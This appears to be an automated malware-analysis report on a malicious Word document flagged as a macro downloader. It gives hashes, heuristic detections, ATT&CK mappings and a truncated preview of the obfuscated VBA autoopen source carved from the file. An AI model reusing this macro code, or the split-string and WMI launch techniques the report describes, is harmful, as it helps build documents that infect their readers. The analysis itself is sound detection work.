Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5aaefe478c76ef3f…

MALICIOUS

Office (OLE)

194.9 KB Created: 2019-04-30 09:31:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: f9a349032e84840b15e4955456265776 SHA-1: dcbc7328cce0f5dd84acc7ec12ded4ecb5e62475 SHA-256: 5aaefe478c76ef3f4e1178e8bf071f5647c4e8a97a8be3b655cf43f468b984b2
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an autoopen subroutine, indicating it is designed to execute automatically upon opening. The macros utilize GetObject and CreateObject to launch a WMI process, specifically targeting 'winmgmts' to create a new process. This suggests the document's primary purpose is to download and execute a secondary payload, as indicated by the ClamAV detection name 'Doc.Downloader'.

Heuristics 8

  • ClamAV: Doc.Downloader.00536d-6958656-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6958656-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39188 bytes
SHA-256: 0f45fb2d0c658aea60f9e485d07d500f6d9f8ae0c0697e60cc380ee155e609e9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "sCUxAAAA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "lG4cwD"
Attribute VB_Base = "0{EBC644D4-E386-413C-908E-8481485EB75E}{EC580E15-8A81-4B78-88AB-84AAC279D031}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "TUUBC1A"
Attribute VB_Base = "0{3167F5AA-0D09-48E8-85A9-2ACA6C93CB70}{EEF0353F-884E-4D91-BC63-4F5627EB9542}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "MxwAUDA"
Sub autoopen()
   If HU41ADUZ = L4AZXAUU Then
ElseIf tCUAcc4C = RAAUUAQ Then
            PBQUB_UZ = Hex(JADBBxwx + CSng(C_AGUA / Tan(970737797 + 556162569)))
ElseIf nCAoxXDQ = dZADAAAU Then
            ZAAcAAAk = Atn(679437309) + Int(131615049)
ElseIf zAkwUXQA = tBABAAA Then
            ODo1AZ = 448721800 + Atn(136639462)
End If
   If GXAAADA_ = kAcAAQ Then
ElseIf hXAxZAA = iC1cDU Then
            DAQBAQ = Hex(XCZA1Q + CSng(HxAQDU_ / Tan(462506023 + 246436896)))
ElseIf a4w44o4 = bAZA4oAZ Then
            pkAABDG = Atn(326522074) + Int(129585114)
ElseIf D4AXAQw = NUA4oDZ4 Then
            hcA4XA = 883858803 + Atn(693918168)
End If
jQAAxZ_
   If FQBXU_U = UZUo1BAA Then
ElseIf bAoQXAB = JAAx1G Then
            rCACwUBA = Hex(MD1xBBA + CSng(KAUDBAD / Tan(289954362 + 68963466)))
ElseIf UXoAAUA = iADcA4 Then
            IDwQAX = Atn(192828462) + Int(178883383)
ElseIf I4kDQBU = XGwXAQ Then
            HUUAcBDk = 722919832 + Atn(361484891)
End If
   If EAGG1A1 = iwxAD_ Then
ElseIf BQBQQD = vUAQAA_A Then
            VDQ4kA = Hex(jABoAc + CSng(JQwUBB_ / Tan(747333040 + 376130019)))
ElseIf PABA4AA = iAGUUDU Then
            CcADAB = Atn(691073589) + Int(205421895)
ElseIf t4AwQBD = twkUAwAA Then
            OXAAGA4 = 820586426 + Atn(212776036)
End If
End Sub
Function KwDCUk(JUAAAAAA)
   If YAGAXU = woAAAD Then
ElseIf PBDBXkA = fAZ1A1k Then
            NwBwACZC = Hex(oGXoAAk + CSng(rDDUDBB / Tan(648705149 + 949573156)))
ElseIf iAC1BAQD = DAZDQAA Then
            zADQCAA = Atn(495369129) + Int(231476101)
ElseIf PBDAQB = CAQxXCQA Then
            qxAQDoQ = 217618812 + Atn(159211596)
End If
   If X41CAAc = jAAUZx Then
ElseIf rQAUAQ = OQDCUwxo Then
            KcGB4A = Hex(PDxAQ1A + CSng(TocxD_ / Tan(169904674 + 341042040)))
ElseIf UZAAQQ1 = iAADQxw_ Then
            zAADXA = Atn(9222619) + Int(949679386)
ElseIf aQwDQw = P_1wZcAQ Then
            JxBxUkwQ = 361956331 + Atn(147205240)
End If
Set KwDCUk = CVar(JUAAAAAA)
   If DDAZAcBB = LxcxxAQ Then
ElseIf HoAx_Qxc = J_xAA_4Z Then
            MU4XAQCw = Hex(zC_Q4o + CSng(ocAcoA / Tan(555200342 + 907486524)))
ElseIf rQUA4A = OAUCBAAZ Then
            A_k11B = Atn(710272978) + Int(195646544)
ElseIf aUAUAA = pXDAAB Then
            RBU4ADA = 332618772 + Atn(894355665)
End If
   If PAADAC = cA1Q1A_ Then
ElseIf ZAGAxAAB = vGxQwA Then
            Vw_GAQZ = Hex(fGQAAoAA + CSng(z1AAQw / Tan(863611492 + 19546555)))
ElseIf JDxGAAD = JAADAGAA Then
            pQU44A = Atn(334802405) + Int(489768733)
ElseIf XoQQkUQG = jZcxAAAA Then
            SDABAQ__ = 418002456 + Atn(23872221)
End If
   If HQCBXko1 = VAU4Xx Then
ElseIf GUUQAB = LU_AAw1 Then
            sU1CkBA = Hex(UBAxAA1 + CSng(SxDADwB / Tan(903309971 + 473274309)))
ElseIf FXCxxAA = zoAcAX Then
            K4AA1ACD = Atn(210664378) + Int(814378656)
ElseIf TwDc__ = ux_AB4Z Then
            ToXAoU = 876606067 + Atn(79912719)
End If
End Function

Attribute VB_Name = "MBAU__A"
Function jQAAxZ_()
On Error Resume Next
   If CAABAAoX = jBXGABBZ Then
ElseIf AQ4AGAcD = ZXZAAx Then
            vZ4AG
... (truncated)